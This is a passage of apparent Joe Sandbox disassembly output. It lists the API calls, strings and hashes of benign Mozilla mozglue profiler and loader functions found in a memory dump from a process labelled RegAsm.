samplingallthreads, xrefs: 6C97CE2C
Unrecognized feature "%s"., xrefs: 6C97CEA0
audiocallbacktracing, xrefs: 6C97CDD4
seqstyle, xrefs: 6C97CCE6
fileio, xrefs: 6C97CC92
cpuallthreads, xrefs: 6C97CE16
processcpu, xrefs: 6C97CE6E
fileioall, xrefs: 6C97CCA8
nostacksampling, xrefs: 6C97CD7C
jsallocations, xrefs: 6C97CD0E
markersallthreads, xrefs: 6C97CE42
leaf, xrefs: 6C97CC66
preferencereads, xrefs: 6C97CD92
default, xrefs: 6C97CC21
Q^, xrefs: 6C97CD25
noiostacks, xrefs: 6C97CCBE
notimerresolutionchange, xrefs: 6C97CE00
unregisteredthreads, xrefs: 6C97CE58

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 14eca2d092feb88e7f8fd099ff23302c7ea82da6b8b9d4f9df8f0b4af3b2c49d
Instruction ID: a4d03bab346c1a1f50eca770fe61259e5c526608c654671fc60b60eeaa79f28f
Opcode Fuzzy Hash: 14eca2d092feb88e7f8fd099ff23302c7ea82da6b8b9d4f9df8f0b4af3b2c49d
Instruction Fuzzy Hash: 3451B9C1B0762662FB2031556E10BAB244DEFB325AF10443AED09A5F80FF45E61B86B7

Function 6C944470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C944730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9444B2,6C9BE21C,6C9BF7F8), ref: 6C94473E
Part of subcall function 6C944730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C94474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9444BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9444D2
InitOnceExecuteOnce.KERNEL32(6C9BF80C,6C93F240,?,?), ref: 6C94451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C94455C
LoadLibraryW.KERNEL32(?), ref: 6C944592
InitializeCriticalSection.KERNEL32(6C9BF770), ref: 6C9445A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9445AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9445BB
InitOnceExecuteOnce.KERNEL32(6C9BF818,6C93F240,?,?), ref: 6C944612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C944636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C944644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C94466D
VerSetConditionMask.NTDLL ref: 6C94469F
VerSetConditionMask.NTDLL ref: 6C9446AB
VerSetConditionMask.NTDLL ref: 6C9446B2
VerSetConditionMask.NTDLL ref: 6C9446B9
VerSetConditionMask.NTDLL ref: 6C9446C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9446CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9446F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9446FD

Strings

kernel32.dll, xrefs: 6C9444CD
l, xrefs: 6C944578
WRusr.dll, xrefs: 6C9444B5
user32.dll, xrefs: 6C944557, 6C94463F
NativeNtBlockSet_Write, xrefs: 6C9446F7

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 56a6ba62e3b53f72f06d30ff928c660c18008126b60e8d3f1d84965dd51c74c9
Instruction ID: 2bafa08cf8addf446e0a40b79bf35bfaab6f4de492a6d220e8b500c2ac318e21
Opcode Fuzzy Hash: 56a6ba62e3b53f72f06d30ff928c660c18008126b60e8d3f1d84965dd51c74c9
Instruction Fuzzy Hash: B16102B8608344BFEB109F60C889B967BB8EB4670CF24C098E9049B691D7B0C944CF95

Function 6C97F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C97F8F9

Part of subcall function 6C946390: GetCurrentThreadId.KERNEL32 ref: 6C9463D0
Part of subcall function 6C946390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9463DF
Part of subcall function 6C946390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C94640E

ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F93A
GetCurrentThreadId.KERNEL32 ref: 6C97F98A
GetCurrentThreadId.KERNEL32 ref: 6C97F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F716

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

Part of subcall function 6C93B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C93B5E0

GetCurrentThreadId.KERNEL32 ref: 6C97F739
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F746
GetCurrentThreadId.KERNEL32 ref: 6C97F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9B385B,00000002,?,?,?,?,?), ref: 6C97F829
free.MOZGLUE(?,?,00000000,?), ref: 6C97F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C97F866
free.MOZGLUE(?), ref: 6C97FA0C

Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C945E8C
Part of subcall function 6C945E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945E9D
Part of subcall function 6C945E60: GetCurrentThreadId.KERNEL32 ref: 6C945EAB
Part of subcall function 6C945E60: GetCurrentThreadId.KERNEL32 ref: 6C945EB8
Part of subcall function 6C945E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945ECF
Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C945F27
Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C945F47
Part of subcall function 6C945E60: GetCurrentProcess.KERNEL32 ref: 6C945F53
Part of subcall function 6C945E60: GetCurrentThread.KERNEL32 ref: 6C945F5C
Part of subcall function 6C945E60: GetCurrentProcess.KERNEL32 ref: 6C945F66
Part of subcall function 6C945E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C945F7E

free.MOZGLUE(?), ref: 6C97F9C5
free.MOZGLUE(?), ref: 6C97F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C97F9A6
Thread , xrefs: 6C97F789
" attempted to re-register as ", xrefs: 6C97F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C97F71F

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 0cf7b7be403a09e4333149f168d1c9851f4f9bc3a29a54a4420dbaf01e3be57e
Instruction ID: 2317ff18a61332c9d7c65e68afda0ff2a822ad1ead0585ffd463222ff15f1e47
Opcode Fuzzy Hash: 0cf7b7be403a09e4333149f168d1c9851f4f9bc3a29a54a4420dbaf01e3be57e
Instruction Fuzzy Hash: FA810275605600AFDB10DF24C480BABB7B5FFE5308F55456DE849ABB51EB30E809CBA2

Function 6C949590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9331C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C933217
Part of subcall function 6C9331C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C933236
Part of subcall function 6C9331C0: FreeLibrary.KERNEL32 ref: 6C93324B
Part of subcall function 6C9331C0: __Init_thread_footer.LIBCMT ref: 6C933260
Part of subcall function 6C9331C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C93327F
Part of subcall function 6C9331C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C93328E
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9332AB
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9332D1
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9332E5
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9332F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C949675
__Init_thread_footer.LIBCMT ref: 6C949697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C949707
__Init_thread_footer.LIBCMT ref: 6C94971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9497B7
FreeLibrary.KERNEL32 ref: 6C9497D0
FreeLibrary.KERNEL32 ref: 6C9497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C949670
NtMapViewOfSection, xrefs: 6C949701
ntdll.dll, xrefs: 6C9496E3
MapViewOfFileNuma2, xrefs: 6C9497B1

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 9e873626e05b718dd0d4716eaea230b0ec05a1a6fd8a69d639903a9f65519545
Instruction ID: a69e7114fd2c529aaf8bda6bf5fbb1afb664b6c595e16acf99ded9f1c991ba8e
Opcode Fuzzy Hash: 9e873626e05b718dd0d4716eaea230b0ec05a1a6fd8a69d639903a9f65519545
Instruction Fuzzy Hash: 8A61D079608205FBDF00CF79D9C8B9B3BB8EB4AB18F218159E91593B80D730E944CB95

Function 6C98D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D52A
GetCurrentThreadId.KERNEL32 ref: 6C98D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D55F
free.MOZGLUE(00000000), ref: 6C98D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C98D5D3
GetCurrentThreadId.KERNEL32 ref: 6C98D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D652
GetCurrentThreadId.KERNEL32 ref: 6C98D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D6A2

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: b739ed38869cf0e49e9a8bc7cf588d4d167a2bb3e38890603d8cc6b7491540b6
Instruction ID: 11b146b8dc9d64fc95c36ef78b382984252d94d2b0748d03f7e0dd801a42474f
Opcode Fuzzy Hash: b739ed38869cf0e49e9a8bc7cf588d4d167a2bb3e38890603d8cc6b7491540b6
Instruction Fuzzy Hash: 10516AB1609705EFC704DF24C884A9BBBB4FF89318F108A2EE94A87751DB30E945CB95

Function 6C97EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97EC8C

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97ECA1
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C97ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97ED19
CloseHandle.KERNEL32(?), ref: 6C97ED28
free.MOZGLUE(00000000), ref: 6C97ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C97EC94

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 3b738afe9ee2883605d13ab93f926de129ef1314b19d04494bfeb8febd482290
Instruction ID: 9e67237bb8eb875031e9b467384efa877a4de4c277d9d803fd726e095751aca5
Opcode Fuzzy Hash: 3b738afe9ee2883605d13ab93f926de129ef1314b19d04494bfeb8febd482290
Instruction Fuzzy Hash: 2E21EF7D605108BFDB109F28D848AEB777AEB9626CF204210F91897B81DB71DC158BF9

Function 6C978ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C93EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C97B392,?,?,00000001), ref: 6C9791F4

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Strings

timeline-ipc, xrefs: 6C979096
marker-chart, xrefs: 6C97905E
timeline-memory, xrefs: 6C979088
timeline-overview, xrefs: 6C97907A
data, xrefs: 6C9790E8
marker-table, xrefs: 6C97906C
timeline-fileio, xrefs: 6C9790A4
name, xrefs: 6C978F16
stack-chart, xrefs: 6C9790B2

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 44f0d4454be47dabae99f7d3d653195086f0a9855e874e86e1055f4dd0177ed6
Instruction ID: 897379af96ec2ce43e076a8ca82ead57329b94498f9ea148fc05e65c0628d731
Opcode Fuzzy Hash: 44f0d4454be47dabae99f7d3d653195086f0a9855e874e86e1055f4dd0177ed6
Instruction Fuzzy Hash: 86B1C4B1A02209ABDB18CFA9C8957EEBBB5FF95318F104419D506ABF80D731D945CBE0

Function 6C95C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C95C5A3
WideCharToMultiByte.KERNEL32 ref: 6C95C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C95C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C95CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C95CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95CAA5

Strings

0, xrefs: 6C95D30A
(null), xrefs: 6C95C596

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c68f0dde42fd8f15a290e4ed9e49e0c73bbc9193233a326385a88aea8f4e1015
Instruction ID: e909b9e930eedf9c536e9ea0f258f479c34a97032f2b0006fee39d1ed45b0c02
Opcode Fuzzy Hash: c68f0dde42fd8f15a290e4ed9e49e0c73bbc9193233a326385a88aea8f4e1015
Instruction Fuzzy Hash: C7A1BB316093429FDB00DF28C98475ABBF5EF89748F54882DE88AD7741DB31E925CB92

Function 6C933480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C933492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C9334A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C9334EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C93350E
__Init_thread_footer.LIBCMT ref: 6C933522
__aulldiv.LIBCMT ref: 6C933552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C93357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C933592

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

Strings

kernel32.dll, xrefs: 6C9334EA
GetSystemTimePreciseAsFileTime, xrefs: 6C933508

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 6f5dced0194ddd5cc98b7d78d7ef0bf3983d965f8aca90ea1e808e40ba63b035
Instruction ID: 9e8dcabbccdf3baa936925697b69052faf1ce96afdcf033328a6e1e7a45f6444
Opcode Fuzzy Hash: 6f5dced0194ddd5cc98b7d78d7ef0bf3983d965f8aca90ea1e808e40ba63b035
Instruction Fuzzy Hash: 47318479B0411AFBDF04DFB5C848AAB7779FB45308F200019E909E36A0EB75D905CB65

Function 6C934480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C974843,?), ref: 6C9345F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C974843,?), ref: 6C93468A
free.MOZGLUE(?,?,?,?,?,?,6C974843,?), ref: 6C9346C9
free.MOZGLUE(?), ref: 6C9346EF
free.MOZGLUE(?), ref: 6C934712
free.MOZGLUE(?), ref: 6C934735
free.MOZGLUE(?), ref: 6C934758
free.MOZGLUE(?), ref: 6C93477B
free.MOZGLUE(?), ref: 6C93479E

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: fddd83d041bcd03193718faec01eb829cedc252dd6285abb24b39bef39e6a879
Instruction ID: ba3eb26eb0ed31d37b6dd96fb43570f51ae9ca494221bab7b16e629f04ec2ffa
Opcode Fuzzy Hash: fddd83d041bcd03193718faec01eb829cedc252dd6285abb24b39bef39e6a879
Instruction Fuzzy Hash: A8B10871A001218FDB14CE3CC89476D7BB5AF52318F1A5678E81ADFB86D732D8448F91

Function 6C99AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C99AC52
